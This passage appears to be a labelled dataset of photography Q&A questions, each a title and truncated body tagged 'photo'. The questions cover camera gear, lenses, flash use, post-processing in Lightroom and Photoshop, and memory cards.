Kiss camera and a friend of mine has a Sigma Aspherical IF 28-200mm lens she used on an old Canon EOS film camera (old as in 10 years or so). I tried using the lens on my ... ",['photo'] "Title: What kind of Canon battery grip is this? Body: I just spotted this battery grip, and apparently it's attached to a Canon EOS 50D camera. But what kind of battery grip is this? It has a small LCD display in the upper left corner, as seen from the ... ",['photo'] "Title: Advantage of using External Watermarking Tools rather than Photoshop [closed] Body: There are many software products offering to watermark your images in batch without individually selecting the images. Is it common to use this kind of software or would photographers do it in ... ",['photo'] "Title: Is there any reason to take 3 RAW/JPG images to get most from HDR? Body: I'm new to photography and what I've seen so far: ViewNX allow me to change exposure +2/-2 stops in RAW HDR is about larger dynamic range and merging shadow details from overexposed image with ... ",['photo'] "Title: Why color and saturation is less on compact than on DSLR? Body: So basically I compare Nikon d5100 and Canon Powershoot and image contrast is mach lower on second camera. Is it because of compact sensor quality, or it is theoretically impossible to have great ... ",['photo'] "Title: What does it mean to produce a single photograph using “525 separate exposures”? Body: Per this question I looked at this article and in the second entry labeled ""People and Space: winner"" there is that quote from the photographer that it was produced using ""525 separate exposures"". [*] ... ",['photo'] "Title: Why is aspheric glass expensive? Body: When one makes a piece of glass for a lens, they start with a hunk of glass and grind it into the desired shape. When a lens is aspheric, this doesn't change; merely the shape the lens is ground into ... ",['photo'] "Title: How to deal with heat concerns when doing timelapse on a roadtrip? Body: I am going on a roadtrip through Europe in a few months, and I want to do a timelapse from start till end. I am concerned about heat issues though, as I am planning on mounting the camera on the ... ",['photo'] "Title: Is there a battery grip for the Nikon D3100 which uses standard batteries? Body: I'm not happy that my DSLR (Nikon D3100) takes expensive, non standard batteries. What I'm surprised about is that there seem to be very few battery grips on the market that use standard battery ... ",['photo'] "Title: Are the benefits of the Canon 5D MkIII significant enough over the 5D MkII to warrant the current price difference? Body: I've been looking at the Spec difference between the Canon 5D MkII & MkIII Cameras and I'm having a hard time justify the $1300 price difference between the basic body for both. They seem fairly ... ",['photo'] "Title: What specs to keep in mind when buying a digital camera for art (paintings)? Body: I am looking to buy a digital camera to primarily take photos of my artwork that deals mainly with acrylic paintings. A previous question has helped me determine that a digital camera is the way to ... ",['photo'] "Title: How to measure distance to subject in Depth of Field calculator? Body: I used Depth of field calculator here. I should specify subject distance. How to measure distance to subject? In theory this is a distance to front principal plane or point. What is in practice? I ... ",['photo'] "Title: How do I quantify the quality of a scan relative to the original? Body: For example, I imagine scan quality factors to assess include: color reproduction, scale, optical resolution, etc. Only real comparison I have for what I'm attempting to understand is how a monitor ... ",['photo'] "Title: How can I use flash more effectively in club photography? Body: I took some shots at a club/bar of DJ's for the first time. I tried a lot of different techniques, and I can't figure out how to better my flash shots. These were some of my worst shots, because I ... ",['photo'] "Title: Using PhotoMerge to simulate a wider angle lens Body: I'm starting to experiment with PhotoMerge to simulate a wider angle lens than I have available. Right now I know I need to use manual exposure and to provide sufficient overlap between the images. ... ",['photo'] "Title: Does the human eye experience noise as a camera would? Body: I've noticed when I am in very low light (light that isn't in the same room I'm sitting in), when my eyes adapt to the dark that I see colored particles. Do these colored particles resemble noise in ... ",['photo'] "Title: Is there a keyboard shortcut for 4x6 crop in Lightroom 4, or way to set a default aspect ratio? Body: I spend a lot of time cropping photos into the 4x6 aspect ratio in order for friends and family to get prints. When I switch to the crop tool, Lightroom always starts with an unlocked, ""Original"" ... ",['photo'] "Title: Mini-Mobile And Mobile Tripods - How To Make Them Hold Smartphones For Taking Good Still Shots? Body: I am mostly taking shots with my HTC Desire S 5MP smartphone. But for a long time wanted to get mobile tripod which is compact and easy to carry. The problem is with their mostly used universal 1/4 ... ",['photo'] "Title: How to transform a 60 fps video to a 25 fps? [closed] Body: What would be the simplest way of transforming a movie recorded by a Canon 7D / 5D in 60 fps, to a 24 / 25 / 30 fps one, to get a slow-motion effect ? ",['photo'] "Title: How can I make the sky in this photo more vibrant? Body: I spent an evening walking around and shooting with my relatively new Nikon D7000 and I ended up not liking most any of the photos I took.. Let's take this one for example: The sky was blue and ... ",['photo'] "Title: How to manually focus Nikon d5100 at very low light conditions? Body: Suppose I have to short in very low light so I have to set up shoter speed to 10-20 sec. Live view and autofocus doesn't work in this case and view finder give you a little help since it is to dark. ... ",['photo'] "Title: Photography in Darkness Body: I have a Nikon d3100. I recently shot a 16th birthday party. It's my 4the or 5th party and I've noticed the young people like it very dark. So much so, looking through the lens is like having your ... ",['photo'] "Title: Good compromise on quality/compression for hi-rez photographs? Body: My Nikon D90 dumps out photographs that are 4288 x 2848 @ 300 DPI. They're about ~3 MB in size. I'm an amateur in every sense of the word. I don't know what 75% of the camera settings do. I'm ... ",['photo'] "Title: How can I flatten a photograph that was stored rolled a long time? Body: I today found a photograph in my loft, approx. 12"" by 20"" in size, which was stored in a tube, but unfortunately rolled very tightly to a diameter of less than one inch. It appears to have been stored ... ",['photo'] "Title: What type of wide-angled lens is the best option for photographing rooms in a hotel? Body: We have a small B&B and would like ourself to do photos for frequent change on the website. I am very good at photographing, technical aspects however are not my strongest side. I need to have ... ",['photo'] "Title: What should I do to obtain the best resolution for publishing with Blurb Photo books? Body: I'm looking for tips on how to obtain the best resolution when editing photos within Lightroom for export to publish photo books with Blurb. The photos are original raw from a Nikon D80. ",['photo'] "Title: Is there any difference between using camera filter and photoshop like software postprocessing? Body: I can shot using filters such as UV/CPL/FLD or I can get similar effect using software filters in picassa/photoshop etc. Is there special features that can be achieved with post processing? ",['photo'] "Title: Real-time vs post-production blurs — what's the difference? Body: I've always been a huge fan of blurry photos, I guess in part because almost any camera is able to take blurry photos, though some better than others. What's the difference between real-time and ... ",['photo'] "Title: Outdoor Event - D80 lenses [closed] Body: Ola there, can someone help me with lens suggestions for an Outodoor (bright, booths, performances) event - D80 - on a budget...Location: Rio de Janeiro. Nature of the event: art performances, booths, ... ",['photo'] "Title: Why does Nikon warn about banding at high ISOs when using autofocus on Nikon D4 or D800? Body: Nikon says that banding may occur at high ISO sensitivities with autofocus on the D4 or D800: D800 Noise in the form of horizontal lines may appear in pictures taken with AF-S Zoom Nikkor 24-85 ... ",['photo'] "Title: Buying my next lens Body: Currently I have Canon 500D with following lenses. Canon 18-55 IS. Canon 55-250 IS. Canon 50 1.8. Tokina 100 2.8 Macro. These days I'm thinking of adding another lens to my armory. And my choices ... ",['photo'] "Title: Why picture quality decreasing with very big apperture? [duplicate] Body: Possible Duplicates: What is a “diffraction limit”? Why are my photos taken at f/11 less sharp than those taken at a wider aperture? I have made 3 landscape pictures with f/12, ... ",['photo'] "Title: How do I properly determine which camera is better in low light? Body: This question is motivated by the fact that I'm trying to decide between the the Canon 5D Mark III and the Nikon D800. I really would prefer the one that will perform better in low light. As far as I ... ",['photo'] "Title: The Optimal SD Card for the Nikon D7000 Body: In my quest for new equipment I have now reached SD cards. Now I know the Nikon D7000 supports UHS-1 (1) , but what is the performance gain? How many MB/sec does it support? I don't want to buy a ... ",['photo'] "Title: What is the best way to remove texture from a scanned textured photo paper? Body: I have a bunch of scanned old family photos where the photo paper has a texture. Unfortunately, the texture of the photo scans quite well. What is the best way to remove the texture? (Photoshop CS5) ... ",['photo'] "Title: Intervalometer for Nikon D3000 Body: I have a wireless control for my shutter release, and it works great. An intervalometer or really any device that will release the shutter at stated intervals seems hard to find for the D3000. A guy ... ",['photo'] "Title: Why would the Canon EF-S 55-250 IS II be cheaper than the first version? Body: I was about to order the Canon EFS 55-250mm f/4.0-5.6 IS Telephoto Zoom Lens from Amazon, when I learned about the difference between a Grey Market / Imported versions. Not only that, I saw that there ... ",['photo'] "Title: Cannon EOS 550D, Which lens should I purchase [duplicate] Body: Possible Duplicate: Which would be more suitable lens in terms of utility, weight, price: 18-135 or 18-55 + 55-200? I am going to purchase my first DSLR which is Cannon EOS 550D. The seller ... ",['photo'] "Title: Which mode should I use on my camera? Body: On the top of most cameras is a selector knob which will allow you to select different modes. These range depending on the camera, my camera (Nikon D5100) has several choices. I have been told ... ",['photo'] "Title: How does the Lensbaby Scout perform as a cheap fisheye lens? Body: I'm interested in the Lensbaby Scout since it seems like a cheap fish-eye option, but I am unsure how it performs. What about the lens's quality (build quality, image quality, and optical quality)?. ... ",['photo'] "Title: What's the difference between adding contrast and simultaneously darkening highlights and brightening shadows in Lightroom? Body: In Lightroom 4, when editing a RAW file, what's the difference (if any) between the following edits: A). +30 Contrast Or B). -30 Highlights, +30 Shadows. Do these do the same thing? ",['photo'] "Title: Image Quality of Shooting at 3MP then resizing to 1MP vs Shooting at 1MP [duplicate] Body: Possible Duplicate: Does it give higher quality to shoot in low-res mode in-camera, or to downsize high-res photos later? I want my final image to be stored at 1MP and I want it to be in ... ",['photo'] "Title: Canon camera body names [duplicate] Body: Possible Duplicate: What are the major differences between these camera series by Canon? Right now I'm rocking a Canon Rebel XS and I get that there's some kind of progression from XS to ... ",['photo'] "Title: Is there any protection ring available for reversed lenses? Body: I've started reversing lenses for macro photography and I'm loving it, but something bothers me: a lot of articles say that it exposes the rear element of the lens. Are there protection rings ... ",['photo'] "Title: Practical Difference Between Nikon 80-200 f/2.8 and 70-200 f/2.8? Body: As a photographer for my college's newspaper, most of what I shoot is either low light (concerts, dances, etc.) or sports, so I'm looking into getting a low-light/high speed telephoto zoom for my ... ",['photo'] "Title: Does offering an embed feature violate copyright law? Body: I know this is not a legal site, but this is closely related to photography so I hope this question can stay here. I am the owner and founder of a wildlife photo site, which I'll only plug here ... ",['photo'] "Title: What kind of photo effect is this? Body: I've been seeing various photographers post photos with this type of effect http://fadedandblurred.com/wp-content/uploads/2012/04/yangtze-2.jpg it's a bit washed out, yet retains the crisp detail ... ",['photo'] "Title: How to photograph an ice cube with a piece of lemon inside? Body: I basically want to recreate this stock photo (might be a 3D rendering). My current plan of action is to create fake acrylic ice cubes as found in this tutorial and put a piece of lemon in the ... ",['photo'] "Title: Photographing LEGO models [duplicate] Body: Possible Duplicate: What are the best techniques for making great photographs of LEGO creations? Has anyone got any tips for taking photos of your creations? Lighting seems to be the major ... ",['photo'] "Title: How outdated is the Nikon D80? Body: I have a Nikon D80, I know it is no longer produced, but how ""outdated"" is it? Also, how long do cameras typically last with average use? ",['photo'] "Title: Setting up automatic color correction Body: I am editing a batch of pictures in which many of them have a color cast. What is the best method to generate the correct color balance for all the pictures without spending a lot of time editing each ... ",['photo'] "Title: How do I keep my Nikon D5100 from attempting to autofocus with every shutter press? Body: I have a Nikon D5100 and the auto focus works fairly well most of the time. But there are times when I have a subject in focus and want to fire off multiple shots fairly quickly. I do not need to ... ",['photo'] "Title: Is replacing a 70-200mm Canon lens with a 135mm and extender a good idea? Body: In the Canon camp we are all very familiar with the range of 70-200mm lenses. I am very impressed by the 135mm f/2.0 L though. I am considering getting rid of my 70-200mm lens in favor of the 135mm ... ",['photo'] "Title: What is the sound that I'm hearing from Canon EF 24-105mm F/4 L lens? Body: I've a Canon 600D with Canon EF 25-105mm F/4 USM L lens. When I half press the shutter I can hear the US motor sound trying to focus on my subject, however I hear another sound, it's lower than the ... ",['photo'] "Title: What's an easy to use “large sensor” digital camera? Body: My friend tried out my Pentax K-x and found that it was not as easy to use as he preferred. He has no interest in becoming a hobby photographer, he merely wants a camera that is easy to use and takes ... ",['photo'] "Title: Light field based camera or dslr? Which should I choose? Body: Should I buy a lytro (light field) camera or a dslr one? I know that the light field based cameras are new. Do professional photographers use it? Or will they? ",['photo'] "Title: What are the tradeoffs when replacing two zoom lenses with a superzoom? Body: I have two lens currently for my camera. An AF-S DX VR NIKKOR 18-55mm f/3.5-5.6G (kit lens) and a AF-S DX VR Zoom-NIKKOR 55-200mm f/4-5.6G IF-ED lens. I have found that there are cases when the ... ",['photo'] "Title: PSE10 Insert Invisible Watermark Body: I need to put an invisible watermark in some of my PSE10 edited PNG files, but since I am an amateur, I probably don't need an online subscription right now. How do I easily put an invisible ... ",['photo'] "Title: What is the best practice for setting JPEG metadata for CC-BY-NC licensed pictures? Body: I want to publish my pictures with a CC-BY-NC license but I could not find a tutorial how store this information with my JPEG metadata. Is there a best practice? Do services like Flickr, Google+ or ... ",['photo'] "Title: Does decreasing image size increase the frame rate for continuous shooting on a DSLR? Body: If shooting in RAW mode decreases the burst rate to 2 frames per second (on Canon 1100D), then would using a lower resolution JPG setting increase the frame rate? Please tell me if I have ... ",['photo'] "Title: How to determine the year of manufacture of a (SanDisk) Compact Flash card? Body: Flash technology works in such a way that CompactFlash cards wil eventually ""wear out"". This happened to one of my cards at a wedding, and experience I did not enjoy (I was able to recover the data ... ",['photo'] "Title: Max aperture on zoom lenses - stepwise or linear? Body: When zooming with lenses without a fixed max aperture, the change in aperture* that the camera displays is stepwise, usually in steps of thirds. But, is the max aperture really the same all the way as ... ",['photo'] "Title: Nikon D7000 card problems Body: So here's my story with the Nikon D7000..... I purchased this body last year as my second-shooter and had two 8GB Panasonic cards in it. I had some corrupted files at the end of the card's memory ... ",['photo'] "Title: What's the best way to develop old, exposed film? Body: A friend of mine just found 3 rolls of exposed 135 (i.e. 35mm) film. They are at least 10 years old. He'd like to know if it is even worth taking them to the local hour photo lab but also if he should ... ",['photo'] "Title: How to resize portrait PSDs to landscape orientation without getting pixelated? Body: I have a PSD available in portrait orientation but I want it to be resized to landscape mode for creating its PowerPoint templates. I am completely noob to Photoshop, hence can anybody guide me to ... ",['photo'] "Title: Which Lensbaby Sweet 35 or Edge 80 effects are harder to reproduce post-processing? Body: I want some suggestions from Lensbaby users. I have the plastic optic, double glass and fisheye optic. I use the composer. The recent new optics: Sweet 35 and Edge 80 seem very intriguing and I ... ",['photo'] "Title: Why do cameras put photos in multiple folders on a memory card? Body: Recently when looking at my memory card I noticed that there were multiple folders on the memory card. The file path looked like this: DCIM/100D5100 DCIM/101D5100 The D5100 is the camera I am ... ",['photo'] "Title: Better 10-22mm lens for Canon Body: The famous Canon 10-22mm lens is quite well-built. The image is sharp near the corners, and it has a fast auto-focus system. But unfortunately, it's aperture is relatively narrow... Would there be ... ",['photo'] "Title: In which order is it recommended to set a tilt-shift lens? Body: After an entire week of having a Canon TS-E 17mm F/4 at my disposal, I am still not sure which control to start setting first. This particular lens has a total of 5 degrees of freedom: ±6.5° tilt ... ",['photo'] "Title: Why do I get two JPEG files instead of RAW+JPEG when transfering to my computer from my Nikon D5100? Body: I have a Nikon D5100 and I want to shoot RAW and JPG at the same time. I select RAW+N (RAW plus Normal Size JPG). Now when I export the shots to my computer I end up with two files called DSC_0123 ... ",['photo'] "Title: What would be a good book for optics? Body: I would like to refresh my knowledge about optics. I studied optics back in the university but I almost forgot everything. What would be a good book to do that? ",['photo'] "Title: What's the difference between a wide angle lens and a landscape lens? Body: Question pretty much says it all. Seems like when I look around people are asking ""what's the best wide angle lens for landscape?"", but on sites like LensHero they categorize wide angle and landscape ... ",['photo'] "Title: What do camera experts do for cameras that take too much battery power? Body: Some camera models have very short battery span — meaning that a new battery for a particular camera model has a short life span, as it can take fewer shots per charge. What would camera experts out ... ",['photo'] "Title: Is a fluorescent filter worth using, and how and when? Body: I bought a UV Filter that came with a Polarizing Filter and a Fluorescent Filter. While I understand the polarizing filter what is the point of a fluorescent filter? When I tried the filter under a ... ",['photo'] "Title: Fitting all pictures in a square canvas Body: I have a folder full of landscape and portrait oriented photos of a product (2000) and I need to fit all of them in square canvas. I know I could use Photoshop actions to do it in batch, but I do not ... ",['photo'] "Title: What kind of batteries will provide the fastest recharge/recycle time for a flash unit like the 430EX II? Body: I have gotten deep into bird photography this year, and have put a lot of time and effort into learning the tricks of the trade. My latest endeavors are into bird/bif flash photography. I own a Canon ... ",['photo'] "Title: Where can I find a cheap wide angle/panorama camera? Body: I will be going on a mountaineering trip next month and want to take wide angle/panorama pictures. Years ago, a big chain store in the US (Target) made such disposable camera. The catch was that the ... ",['photo'] "Title: Tips for capturing fast-moving rally cars in low light? Body: I will be attending a rally driving event but the weather forecast is for rain and cloud. How can I ensure I stand a good chance of getting some good action shots under these conditions? I have a ... ",['photo'] "Title: Should I put UV filter to protect the lens even if I put a lens hood? Body: That's pretty it, usually you buy a UV filter to protect the lens. My question is do I need the UV filter even if I'm using a lens hood? ",['photo'] "Title: Outdoor flash lights on a budget? Body: What are the best options for having outdoor flash lighting? I have seen a few kits for sale on ebay that cost around $1000 which include 2 lights, a battery pack, umbrellas and soft box covers. I ... ",['photo'] "Title: How do I reverse engineer a portrait photo? Body: A part of the photography learning process is to look at pictures and try to reverse engineer them. I want to learn how to reverse engineer portrait images. Reverse engineering the light in portrait ... ",['photo'] "Title: Megapixel race unnecessary? Body: Have we reached the point where where the megapixel race is more about the race, of having more then the other guy, than about image quality? Only a few years ago 6MP was touted as the optimum number ... ",['photo'] "Title: How do digital sensors that capture one color at each photosite compare to sensors that capture many colors? Body: There are different type of digital camera sensors, those sensors that can capture only one color at each photosite and those who can capture more than one color at each photosite. Which one is ... ",['photo'] "Title: Does the back of the case for the Nikon SB-400 (SS-400) have a loop? Body: This is kind of a lame question, but I'm wondering if the back of the case for the Nikon SB-400 have a loop to carry it on a belt or strap. The model number for the case is SS-400 and looks like this: ... ",['photo'] "Title: Is there a secret way to make the Fujifilm X-Pro 1's autofocus point selection faster? Body: I think the answer to this is ""no"", but it may actually be available and I'm just not figuring out how to toggle the setting. The X-Pro 1 has a wealth of AF points — 49 in EVF mode and 25 in OVF ... ",['photo'] "Title: What are these dark spots in my pictures? Body: I've been seeing these dark spots in my pictures. They appear a lot more on some pictures than others, but they are in the same place in the image and independent of the lens being used. Is this dust? ... ",['photo'] "Title: What would be a good all-round lens for the London Olympics 2012? Body: I was lucky enough to get London Olympics 2012 tickets to the Volleyball, Hockey and Table Tennis The Hockey and Volleyball will be outdoors and the Table tennis will be indoors. I have seen the ... ",['photo'] "Title: What is “infinity focus”? Body: I have been reading a bit about astrophotography and the term infinity focus keeps coming up. What is infinity focus and how do you set the camera to infinity focus? ",['photo'] "Title: How does using a lens with some focal length on a full frame camera differ from using a lens with “equivalent” focal lens on a crop camera? Body: As an example, a 35mm lens on a crop body (such as Nikon DX) is said to be ""equivalent"" to a 50mm lens on a full frame body. Equivalent here means that they will have the same field of view, but what ... ",['photo'] "Title: Why does a Leica camera cost so much? Body: I was amazed that a Leica camera costs about the same as a new Mazda does ($30K). Why? :) The best lenses? ",['photo'] "Title: Is staging, live baiting and sedating animals in wildlife photography a common practice? Body: I am not a wildlife photographer and frankly I have little interest in wildlife photography outside of the birds and squirrels outside of my kitchen window. I do however enjoy looking at some of the ... ",['photo'] "Title: Use a shot list or not? Body: When planning a portrait shoot, should I use a shot list (a preplanned list of shots) or focus on letting creativity take over rather than planned shots? A hybrid approach? What do most pros use? ",['photo'] "Title: How does demosaicing work in Fujifilm's new sensor for the X Pro-1? Body: Fujifilm has an innovative new sensor layout for the just-released X Pro-1 camera, which they say is ""inspired by the natural random arrangement of the fine grains of silver halide in film"": Since ... ",['photo'] "Title: Is there a correct way to communicate with photography subjects e.g. models? Body: It may seem like this question has an obvious answer, but it’s something I do find quite difficult - I am very out spoken and confident but sometimes struggle with the following. Should I just tell ... ",['photo'] "Title: Which Camera is better to take photo of wild birds? Body: I am evaluating to buy one of the following cameras, that my friends have suggested to me: a second hand Nikon D5000 camera selling @ 1000 (plus a 55mm - 200mm Len) a first hand Nikon coolpix L310 ... ",['photo'] "Title: How was this black and white photograph of a calm ocean done? Body: How can I create photographs with the characteristics of this image? ",['photo'] "Title: What lighting accessories can I use for outdoor macro photography? Body: I recently got myself a Nikon 60mm f/2.8G AF-S Micro-Nikkor lens. Without vibration reduction, it will probably need lots of light when hand-holding the camera. Anyone willing to give an overview of ... ",['photo'] "Title: How can I improve my smartphone photos of a product for eBay? Body: I've got a 8.0 Megapixel camera (The camera of Samsung Galaxy S2 smartphone). I need to take pictures of the product, and I want to make it look as best as can be! It's a notebook, and it even looks ... ",['photo'] "Title: Is it worth buying a battery grip for my camera? Body: Recently I heard that a battery grip can enhance the feel of the camera in my hands especially if it's an entry DSLR, and besides, some people claim that it enhances the stability of the camera if you ... ",['photo'] "Title: Forgive my ignorance: Aperture changes as I zoom in why? [duplicate] Body: Possible Duplicate: Why do zoom lenses and compact cameras have varied maximum aperture across the zoom range? Just starting out with lacrosse pictures on my new Canon EOS 60D and zoom lens ... ",['photo'] "Title: Is there a linear relationship between shutter speed and speed of subject to freeze motion? Body: Is there a calculation that I can do that will calculate the required shutter speed if I know the speed of my subject and want to get a crisp image e.g. freeze motion? For example if I go to a car ... ",['photo'] "Title: Why is the amount of light a lens lets in called the 'lens speed'? Body: It seems very counter intuitive that the amount of light let in by a lens is referred to as the lens speed. This term confused me for a while because I couldn't logically see how a speed would be ... ",['photo'] "Title: How to choose the kind of paper for an inkjet print? Body: There are a number of great questions and answers which discuss the topic of (inkjet) prints (I have cited three which I have recently re-read, but surely there are many others, no disrespect is ... ",['photo'] "Title: Do rounded edges on aperture blades improve image sharpness, and how? Body: In the description for the XF lenses for its new X-Pro system, Fujifilm crows: The [XF lenses] all offer precise control over depth-of-field and deliver excellent out-of-focus bokeh thanks to the ... ",['photo'] "Title: Can I use an old Olympus-mount lens on a Canon DSLR? Body: What is the mount adapter I need to mount a Vivitar 28mm 1:2 No.22 (made by Kino, aka Kiron) lens on my Canon 600D? Is it the T/T2 lens mount? I used to mount this lens on my dad's Olympus OM-10. ... ",['photo'] "Title: How can I work around metering issues with adapted lenses on a Canon DSLR? Body: I have a bunch of Contax lenses (C/Y mount) and a mount adapter with ""dandelion"" chips. This should allow me to use my lenses on any Canon DSLR using aperture mode and stopping down the lens. Thanks ... ",['photo'] "Title: What does “N stops” mean when describing an image stabilizer? Body: If you ever purchased any lens with IS then you have heard this term like ""3 Stop Stabilization"" or ""4 Stop Stabilization"". Now, I am familiar with this Stop for ISO and Aperture. But this I don't ... ",['photo'] "Title: How do you take a landscape photograph with “artistic” lens flare? Body: How do you shoot a landscape scene with an ""artistic"" lens flare? Something along the lines of this photo: I tried shooting at small apertures but I keep getting ""washed out"" or extremely large ... ",['photo'] "Title: Where can I learn about the History of Photography? Body: I am taking a semester long independent study class on photography, and one of my goals is to learn a brief history of photography; are there any great resources that, without going into too much ... ",['photo'] "Title: What does “R” mean in Fujifilm's XF Fujinon lens names? Body: Fujifilm currently makes three lenses for their new X-Pro1 mirrorless camera system: Fujinon XF18mmF2 R Fujinon XF35mmF1.4 R Fujinon XF60mmF2.4 R Macro ""Fujinon"" is Fujifilm's lens division. The ... ",['photo'] "Title: Without modification, is the built-in pop-up flash EVER appropriate? Body: You can't use a diffuser, you can't redirect it, you can't adjust intensity, you can only pop that little sucker up and blast away. Is there ever a situation where having this built-in pop-up flash ... ",['photo'] "Title: Panasonic GF3 with 14mm pancake lens - which macro lens will fit? Body: I wonder if anyone can advise me? I have the panasonic gf3 with a 14mm lens. Is there a macro conversion lens I can buy (apart from the new panasonic one) - haven't had one before and so wanted ... ",['photo'] "Title: Why buy camera equipment during travel in Japan? Body: Many tourist guide books that are sold here in the US for travel in Japan have entire sections dedicated to buying camera equipment, as if there are huge financial advantages to doing so. I suspect, ... ",['photo'] "Title: Is there a printing lab that post prints direct to customer without the invoice? Body: Is there an online printing service, (like photobox) that I can use to print and ship prints directly to customers so that I don't even handle them. If I use a normal online printing service, they ... ",['photo'] "Title: Are there medium priced cameras that can capture photos with very little distortion? Body: I just got the Sony DSC-WX9 and DSC-HX100V a couple months ago, and found that, if a person's face is right in the center of the photo (for a photo with 4, 5 people standing, from head to toe), then ... ",['photo'] "Title: Why is the shutter speed so long when using Flash in Aperture Priority on a Nikon D40X? Body: I'm trying to get the background out of focus (bokeh) and using Aperature(A) mode and setting aperture to lowest value. Update: I'm shooting in dim light and the flash goes off but the shutter speed ... ",['photo'] "Title: what does shutter “off” do? Body: When shooting video what is actually happening when the shutter is ""off""? I know that it reduces strobe effect, but I'm not sure what is actually happening or how a camera can operate without a ... ",['photo'] "Title: How does connecting the camera to a laptop help in photography? Body: From here: http://500px.com/photo/6330641 I asked him/her how did s/he photograph it? Holding the milk jug her/himself? To which I got the reply: camera mounted on a tripod and connected to a ... ",['photo'] "Title: How can I prevent blurred images when using a tripod? Body: I'm doing panoramic HDR photography for work using one of those stupid cheap mirror balls mounted on a tripod (not my decision!) and I am noticing on my longer exposures that sometimes I'm getting ... ",['photo'] "Title: Why do mirror lenses have poor contrast? Body: I was reading this question on mirror lenses and the answers taught me a lot about mirror lenses. It is pretty obvious to me why they have donut bokeh (central obstruction) and why they are fixed ... ",['photo'] "Title: What does shot noise in color images look like? Body: I can find examples of shot noise in monochrome images, but I can't find any examples in color images. What does shot noise in color images look like? ",['photo'] "Title: Why are the area of aperture, focal length, and amount of light specified in these terms? Body: So I'm looking at the wikipedia article on Aperture, and I'm a bit confused. I understand aperture to be the diameter of the hole that lets light in. In the article, someone states that The ... ",['photo'] "Title: Good all-round lens for Canon XS/1000D? Is 24-105mm F4.0 IS USM a good upgrade? Body: I've been using my 1000D for 2 years now with the kit 18-55mm lens and for about a year now I've got it a bigger brother, a 55-250mm F4.0 IS lens, with the latter being on my body most of the time. ... ",['photo'] "Title: What adjustments are specific to RAW files? Body: When I edit a RAW file in Photoshop or Nikon's ViewNX 2 software, there's a wide range of things I can adjust. For example, when I open a RAW file in Photoshop, I see the following options: White ... ",['photo'] "Title: Can't find recovery and others menus in LR4 Body: I made my first new import on LR4 after importing the old catalogue, but I don't find the recovery, fill lights and other slider from raw shoots! I checked the old pictures which I did import with LR3 ... ",['photo'] "Title: canon sx210 movie shooting focus Body: I'm using a Canon SX210IS and I encountered the following problem: When I shoot movie in HD, the camera every few seconds gets out of focus and back into focus. This lead to a bad quality movie and ... ",['photo'] "Title: Will I benefit from using very fast (> 30 MB/s) SD cards in a non-UHS enabled camera? Body: Will I benefit from using a very fast SD card, such as this SanDisk Extreme Pro card, in my non-UHS enabled camera (a Pentax K-5)? I do not have any devices that can take advantage of UHS speeds. ... ",['photo'] "Title: Blur a background using a photo [closed] Body: How can I create a photo that would blur the layers behind it in Photoshop? I need this for my website and I'll explain it a bit more below... So lets say that I've got a background layer in ... ",['photo'] "Title: What is the purpose of graduated color filters? Body: I think I understand Graduated Neutral Density Filters, however, what are the purpose and how do you use Graduated Color Filters? (IE Red, Yellow, Blue, etc) And Are they worth it? ",['photo'] "Title: Old Flash from the 70's Body: I have an old Consul 400 flash. It was distributed by Braun North America. I would like to figure what is the GN number at ISO 100, f/4, 10 feet. ",['photo'] "Title: How to frame a critique request positively? Body: On 1x I have been told that I present my critique request negatively: From here: http://1x.com/forum/photo-critique/31716 Does this picture need any composition improvements? Does this ... ",['photo'] "Title: Why do my SD cards stop working in my PC (although they remain working in my camera)? Body: I'll leave it up to you to decide if this is sufficiently on-topic. It does relate to SD cards used in photography specifically. My Nikon D7000 does something funny to my SD cards and I can't figure ... ",['photo'] "Title: Mount old lens on Canon Rebel T3i using Canon FD/FL Lens to Canon EOS EF Body Mount Adapter Body: Can I use any of the following lenses: this or this or this or this with this adapter for my Canon Rebel T3i? Please explain if any pitfalls that I may encounter such as infinity focus. Also ... ",['photo'] "Title: Is there a way to create a tilt-shift photography effect without changing aperture? [duplicate] Body: Possible Duplicate: How to get a miniature effect on pictures without special equipment? I recently asked a question that was closed, and this question is not the same. I am still trying to ... ",['photo'] "Title: How to compose a scene which doesn't have any apparent story? Body: On 1x people often say that to complete a story you need to have a third element. Fine, but what can you do when you don't have a human around to pose for you? How to compose the following scene so ... ",['photo'] "Title: How *Auto* Are Pentax Auto Extension Tubes? Body: While asking for extension tubes for a Pentax DSLR, Pentax replied: As requested, please find the following extension tubes available. Product 30535, auto extension tube set B Product 30551, ... ",['photo'] "Title: Are Nikon Distortion Control Data firmware updates critical? Body: Nikon has released the Distortion control data upgrade for D90 and D5000 (I am an owner of Nikon D90). The Distortion Control Data firmware upgrade is available for Nikon D90 and D5000 cameras ... ",['photo'] "Title: Ideas for Macro Photography [closed] Body: I would like to know just what kind of pictures I can take with macro. I'm looking for some out-of-the-box ideas. I have plenty close-ups of flowers, insects, grass, wood, and other objects. I would ... ",['photo'] "Title: How can this lighting/color effect be done? Body: The foreground is color (although very low contrast), and the background appears to be B&W. Can this be done during shoting, or only during post-processing? I notice there is a greenish/bluish ... ",['photo'] "Title: How can I tell when to stop adding an effect? Body: When I shoot a photo and load it into my image editing software and start playing with curves and sliders, sometimes I go so far. For example I increase the saturation and I keep increasing it till it ... ",['photo'] "Title: How important is auto-focus with a 50mm lens? Body: I have a Nikon D5000. I have wanted the 50mm AF-S as a portrait lenses for a while, but it was sold out forever. I finally broke down and got the older 50mm AF. Good lens, but no auto-focus on my ... ",['photo'] "Title: Are there a kind of monopods available which have a minimum height of 10 cm? Body: I like to shoot from the ground level, usually. Google mostly showed me the monopods with minimum height of some 30 cm. Are there some monopods which are flexible and at the same time can be ... ",['photo'] "Title: How can a telephoto lens take great landscape photos? Body: I've read in various answers on this site people mention that telephoto lens can be used quite nicely for taking landscape photos. How is this possible, as my (beginners') understanding of landscape ... ",['photo'] "Title: Projects to do if you have an additional camera Body: So I bought my 7D a while ago meaning my older 30D gets very little use and it could definitely have a better life. I would like to find some projects that would put this extra camera back to work. ... ",['photo'] "Title: Why does the viewfinder of the Nikon D90 have a 4×4 grid instead of 3×3? Body: I was amazed that viewfinder of my camera has a 4 x 4 grid. Why is this? There's no 3 x 3 grid. Sad. What is the reason to did it so? Is it possible to fix it (upgrade software of camera)? What ... ",['photo'] "Title: How to minimise the noise when shooting primarily under candle lights? Body: The following shots are with a small white light throwing ""emergency light"" on a height of one and a half forearms. I used 3 candles on left side and 1 candle on the right. Used 3 candles on right ... ",['photo'] "Title: Where does the assertion that food photography must not use flash come from? Body: I often hear/read in webcasts and blogs that when doing food photography, it's better to use only the indirect sun light from a window, and without flash. Why? I tested multiple times two setups: ... ",['photo'] "Title: How do I make the water silky in water/beach photography? 